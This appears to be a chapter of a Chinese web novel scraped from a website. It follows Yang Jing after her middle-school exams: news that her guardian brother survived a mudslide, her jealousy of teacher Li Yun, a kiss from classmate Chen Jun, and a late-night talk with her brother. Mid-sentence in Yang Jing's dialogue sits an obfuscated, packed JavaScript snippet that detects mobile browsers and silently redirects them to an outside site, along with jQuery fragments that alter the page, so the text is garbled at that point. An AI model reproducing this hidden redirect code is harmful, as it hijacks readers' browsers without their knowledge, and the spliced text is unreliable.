她把手机拿出来,又试着拨了拨号,还是无法接通。 不知过了多久,有人敲了敲窗户。 杨静转头一看,是陈骏。 陈骏塞进来一个塑料袋,“吃点东西。”说话间,抹了一把额前淋湿的发丝。 杨静急忙道谢,又问他吃了没有。 陈骏摇头,“我刚给我爸打了个电话,他在公安系统里有熟人,可以帮忙打听。你别担心,有什么事,考完了再说。” 杨静只得点头。她往袋子里扫了一眼,汉堡鸡翅都有,“一起吃吧,我吃不完。” 陈骏往教室里看了看,“老师不在?” “都去吃饭了。” 陈骏从后门进来,到她前面的座位上坐下。 杨静把汉堡给陈骏,自己拿起玉米棒,一粒一粒地啃。 “你想好读哪个高中了吗?” “程哥让我去旦城三中。” 陈骏笑了笑,“我也是。” 他一早就知道杨静很聪明,只是以前从来不把心思放在学习上。即便现在,她也没有投入百分之百的精力学习,平时看见该看课外书的时候照样看,可还是能考进年级前二十。 晚上教室里只有不到二十人,陈骏索性就待在杨静教室,像平常一样做英语试卷保持手感。 杨静则戴着耳机听听力。 陈骏坐在她旁边,看见她时常将手伸进抽屉,拿出手机翻开看,见没有信息没有电话,又放回去。 一晚上,重复了七八次。 · 中考当天艳阳高照。 老师特意叮嘱不能提前交卷,但杨静每科做完之后,检查两遍,早早就出考场,从包里摸出手机开机,查看是否有未读短信。 连考两天,最后一门英语。 杨静只花了一个多小时就全部做完,一出考场,却见陈骏正站在校门口。 陈骏几步走过来将她一拉,沉声说:“程哥有消息了。” 杨静一愣,忙问:“在哪儿?” 陈骏拉着她上了路旁的一辆出租车,冲司机吩咐,“旦城一医。” 杨静心里一个咯噔,“他受伤了?” “程哥没事,是缸子哥。前几天暴雨,他们在午城的一个县遇上泥石流,身上东西都丢了,手机也是。出去的路都堵了,昨天晚上才疏通。缸子哥小腿骨折,程哥有点擦伤,问题都不大。” 杨静松一口气,“谢谢你。” 陈骏摇头,“不是我爸找到的,是厉老师。” 杨静神色一冷,“厉昀?” “嗯,你不知道吗,厉老师舅舅是交通厅的。” 下车以后,杨静匆匆赶到病房,一推开门,却是一怔。 病房里,缸子躺在床上,杨启程坐在床边,身旁站着厉昀。 杨静定在门口,没往里走,不带情绪地喊了一声:“哥。” 杨启程抬起头来,看她一眼,轻轻挣开了厉昀的手,起身走到她跟前,“考得怎么样?” “还好。”杨静别过目光。 “遇到点事,没及时回来。” 杨静抿了抿嘴,“没事,你回来就好了。”她走到病床边,“缸子哥,你怎么样?” 缸子冲她咧嘴一笑,“还好,没瘸。怎么样,能考上三中吗?” “不知道,应该可以吧。” 厉昀忽然出声,“杨先生,要不要初出去吃点东西,给曹先生也带一点。” 杨静转头冷淡地扫了厉昀一眼。 杨启程点头,看向陈骏,“一起去吃饭。” 陈骏看了看杨静,“不了程哥,我陪缸子哥说会儿话,回家吃。” 杨启程又问杨静。 杨静声音冷冷清清,“我还不饿。” 杨启程也不勉强,跟着厉昀一起出去了。 杨静垂着头,问缸子:“缸子哥,厉老师她……” “你厉老师早上就赶去午城了,这真得感谢她,要不是她找到人了,我跟你程哥一时半会儿还回不来。” 杨静顺了顺呼吸,“厉老师是不是喜欢程哥。” 缸子笑了,“你不知道?这都两年了吧,你初一做手术之后,两个人一直有来往。” 杨静悄悄攥紧了手指。 “他俩啊……”缸子闷笑一声,“八九不离十了,你不知道?” 她不知道,她当然不知道。 缸子瞅她一眼,“怎么这幅表情,中考完了不高兴啊?” 杨静摇头,轻声说:“没有……就是担心你们……” 缸子笑了笑,“老杨也急,但那地方交通通讯全都瘫痪了。他生怕你担心,耽误中考……” 杨静摇头:“……不会,我答应了程哥的。” 要考个好高中,好大学。 · 杨启程和厉昀吃完饭回来,给缸子带了饭菜。 杨静不耐烦与厉昀共处一室,起身说:“缸子哥,我想先回宿舍收一下东西。” 缸子连连点头,“去吧去吧,刚刚考完,好好休息一下。” 杨启程问杨静:“晚上回家住?” 杨静顿了顿,“明天再说吧。” 陈骏跟着杨静一起离开医院。 太阳还没落下,一走出去,一股热浪扑面而来。 陈骏看杨静一眼。 她白皙的脸上一层薄汗,微微蹙着眉毛,表情是冷的,眼神也是冷的。 “杨静,”陈骏微微低头看着路面,“你是不是讨厌厉老师。” 杨静顿了顿,“是。” 陈骏沉默一瞬,“为什么?” 杨静脚步微微一顿。 陈骏也跟着停了下来,看着她,目光复杂。 为什么? 她以为自己和杨启程是一样的。 两个人机缘巧合凑在一起,可以互相取暖。 但有一天,一个外人闯了进来。 她做不到的,外人可以轻易做到;她给不了的,外人可以轻易拿出。 仿佛两个人走在黑暗寒冷的冬夜,互相搀扶,即便辛苦,也会为了一丛小小的火苗而欢欣鼓舞。 可突然有个人捧出一枚太阳:来我身边,你不用这么辛苦,我可以给你温暖,取之不尽用之不竭。 陈骏说:“厉老师其实很适合程哥。” 杨静懂了陈骏的意思,紧抿着唇,片刻,缓缓摆了摆头,“不是你想的那样。” 她对杨启程的心思非常单纯,却也复杂,但与陈骏所认为的感情,没有任何关系。 陈骏一瞬不瞬地盯着她,“那是怎样?” 杨静沉默很久,终于摇头,“你不会懂的。” “我不懂,你可以告诉我。”陈骏目光往下移,看着她的鼻,鼻上有细小的透明的绒毛。 杨静仍然摇头。 陈骏目光继续往下,这一次定在她微微抿起的唇上。 “杨静,”他又抬了抬眼,重新看着她眼睛,“你觉得,一个人可以不求回报地对一个人好吗?” 杨静想了想,“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609386|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能。” 陈骏往前一步,“可是,我不是这样的人……” 最后一个字说出口,他忽然抓住她手臂,而后底下头去。 杨静瞪大眼睛。 仿佛蝴蝶的翅膀,在她唇上碰了一下,轻而温柔。 陈骏飞快退开,涨红了脸,想说什么,千言万语却都堵在了喉咙里。 他忽然不敢看杨静,退后一步,张了张口,突然转身跑了。 少年的身影似一道风,在傍晚橙红的日光里,飞快远去。 杨静呆愣地抬起手指,碰了碰自己嘴唇。 那一下的触感,仿佛还留在上面。 · 回到学校,教学楼前纸片纷飞。 杨静回宿舍洗澡换衣,去食堂吃过晚饭,然后开始收拾东西。 东西很多,衣服、书本、杂物…… 拉拉杂杂的,理出了两个大箱子,数个小箱子。 这些东西,她一个人肯定搬不回去。 杨静正在发愁,放在床板上的手机响起来。 杨启程打来的。 杨静接了,沉闷地喊了一声:“哥。” “我在宿舍外面,出来登记。” 杨静愣了愣,拿着电话一溜烟跑出去,杨启程果然站在大门前。 杨静挂了电话,走过去跟宿管说明情况。现在是退宿的高峰期,家长来来出出的特别多,舍管也不多过问,手一挥让两人进去。 杨启程走进她宿舍,“就你一个人?” “其他是初二的,还在放假。” 她现在在一楼的宿舍,是初一生病的时候换的。当时与几个初三的学生住,初三搬出去之后,又搬进来几个新生。 杨启程看了看堆在柜子前的东西,“就这些了?” 杨静点头。 杨启程一手提上一只大箱子,“你自己拿个轻的。” 杨静抱了一只纸箱,跟在杨启程身后,走到学校后门,把东西放到车子的后备箱里。 那辆破破烂烂的金杯已经换了,现在杨启程开的是一辆别克。 来回三趟,所有东西都搬完了。 杨启程一抹额头上的汗,“走吧。” 两人上了车,杨启程把冷气打开,不一会儿车里就凉快下来。 杨静指了指他手臂,“这个,要不要紧。” 杨启程扭头一撇,手臂上一道擦伤,“没事。” “缸子哥什么时候能出院?” “一周。” 杨启程看她一眼,“考得怎么样?” 杨静挺了挺背,“还用问吗。” 杨启程鼻子里笑了一声,“吃没吃晚饭,请你吃油焖大虾。” “……没吃。” 油焖大虾,青花椒鳝鱼,卤毛豆,杨静撑得几乎走不动路。 车开回小区,两人又把车上东西一趟一趟搬上楼。 搬完东西,杨启程先去冲了个凉。 杨静洗完澡出来,发现杨启程站在阳台的栏杆前喝啤酒。 杨静走过去,“哥。” 杨启程没回头,“明天要下雨。” 杨静看向天上,月亮悬在上面,像是浸了水,毛绒绒的。 杨静从杨启程手边拿了一罐啤酒过来。 杨启程去抢,“小孩子喝什么酒。” 杨静一闪身躲开,“我就喝一罐。” 杨静拉开拉环,“呲”的一声,罐口冒出来些许白沫。她仰头喝了一大口,又苦又冰。 “哥。” 杨启程看她。 杨静捏着易拉罐,也看着他,“你喜欢厉老师吗?” 杨启程没说话,摸了摸口袋,掏出一支烟点燃。 “陈骏说,他觉得厉老师很适合你。” 杨启程吸了口烟,把烟灰弹进空掉的易拉罐里。 “……那你喜欢她吗?” 杨启程还是没吭声。 “那你会跟她在一起吗?” 烟缭绕而上,杨启程眯了眯眼,终于开口,“小孩子懂什么。” “我不喜欢厉老师。”杨静坦诚道。 杨启程看她一眼。 “但如果你喜欢她,我会试着接受她。” 杨启程一顿。 杨静微垂着头,指尖几乎要将易拉罐捏瘪。 “我怕再发生这样的事,没人帮你。我帮不到你,只会给你添麻烦。” 杨启程抽了口烟,“行了,别瞎说了。” “……厉老师能帮你,我希望你过得更好。” 杨启程转头看她,“胡说八道什么。” 杨静咬着唇,“你随时可以抛弃我,但我永远不会抛弃你……” 杨启程又气又笑,“我什么时候抛弃你了?” “初一……” “嗬,还记仇。我送你住宿害你了吗?” 杨静眼中似有微光闪烁,“我说真的。如果你觉得厉老师合适,也喜欢她的话,就跟她在一起吧。” 杨启程沉默半晌,把烟在栏杆上掐灭,张了张口,却还是没说什么。 最终,杨启程把啤酒罐子一收,往里走,“行了行了,懒得跟你磨叽,我得睡觉了。” 杨静看着他的背影消失在卧室门后,把手里的啤酒一口气喝完。 清冽的苦,从喉管一直延伸到胃,连绵不绝。